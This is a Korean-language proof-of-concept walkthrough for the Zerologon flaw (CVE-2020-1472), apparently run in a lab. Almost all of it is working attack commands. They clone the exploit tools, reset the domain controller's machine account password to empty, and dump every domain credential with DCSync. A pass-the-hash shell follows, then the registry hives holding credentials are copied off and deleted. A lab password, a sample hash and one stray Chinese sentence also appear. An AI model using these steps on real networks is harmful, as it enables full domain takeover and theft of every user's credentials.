CVE-2020-1472 POC

mac 환경에서 proxychains 프록시를 통해 Windows 도메인 환경에서 이 취약점을 재현합니다.

환경

DC(주 도메인 컨트롤러):

Domain User(도메인 구성원 호스트):

gost로 socks5 정방향 프록시를 직접 설정합니다.

Attack Hacker(공격 머신):

proxychains4 설정

vim  /Users/xq17/.proxychains/proxychains.conf

PrxoyList 목록에 다음을 추가합니다

[ProxyList] socks5 10.211.55.42 8099

Attack Tools(공격 도구):

1.git clone https://github.com/mstxq17/cve-2020-1472.git
2.pip3 install -r requirements.txt

실행 중 다음 오류가 발생하면:

impacket 모듈에 문제가 있는 것이니, impacket 모듈을 제거한 후 github에서 최신 버전을 설치해보세요.

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip3 install .

그러면 문제가 해결됩니다.

c# 버전 도구: https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon

공격 단계

먼저 로컬에서 도메인 컨트롤러 비밀번호를 이용해 도메인 머신 계정의 Hash를 내보내어, 수정된 후의 값과 비교할 수 있게 합니다.

proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user "DC$"

或者去掉双引号,但是要注意在linux下$代表是变量的意思记得转义。

proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user DC\$

zerologon_tester.py를 사용하여 취약점 존재 여부를 확인합니다

python3 zerologon_tester.py DC 10.211.55.38

Success가 반환되면 취약점이 존재함을 의미합니다.
cve-2020-1472-exploit.py를 사용하여 머신 계정을 재설정합니다.

python3 cve-2020-1472-exploit.py dc$ 10.211.55.38

머신 비밀번호가 빈 값으로 변경되었는지 다시 확인합니다.

도메인 컨트롤러의 머신 계정으로 DCSync를 사용해 도메인 내 모든 사용자 자격 증명을 내보낼 수 있습니다.

원리:

DRS(Directory Replication Service, 디렉터리 복제 서비스) 프로토콜을 이용해 IDL_DRSGetNCChanges를 통해 도메인 컨트롤러에서 사용자 자격 증명을 복제합니다.

proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass
DC$ 머신 계정의 비밀번호 복구

다음을 통해

proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass -just-dc | grep 'Administrator'

도메인 관리자의 hash를 획득합니다.

그런 다음 wmic와 pass the hash를 통해 도메인 컨트롤러의 로컬 관리자 권한(도메인 관리자)을 획득합니다.
```
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/[email protected]
```
그런 다음 각각 실행하여 로컬 머신의 SAM 데이터베이스를 MAC으로 복사합니다.
```
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save
```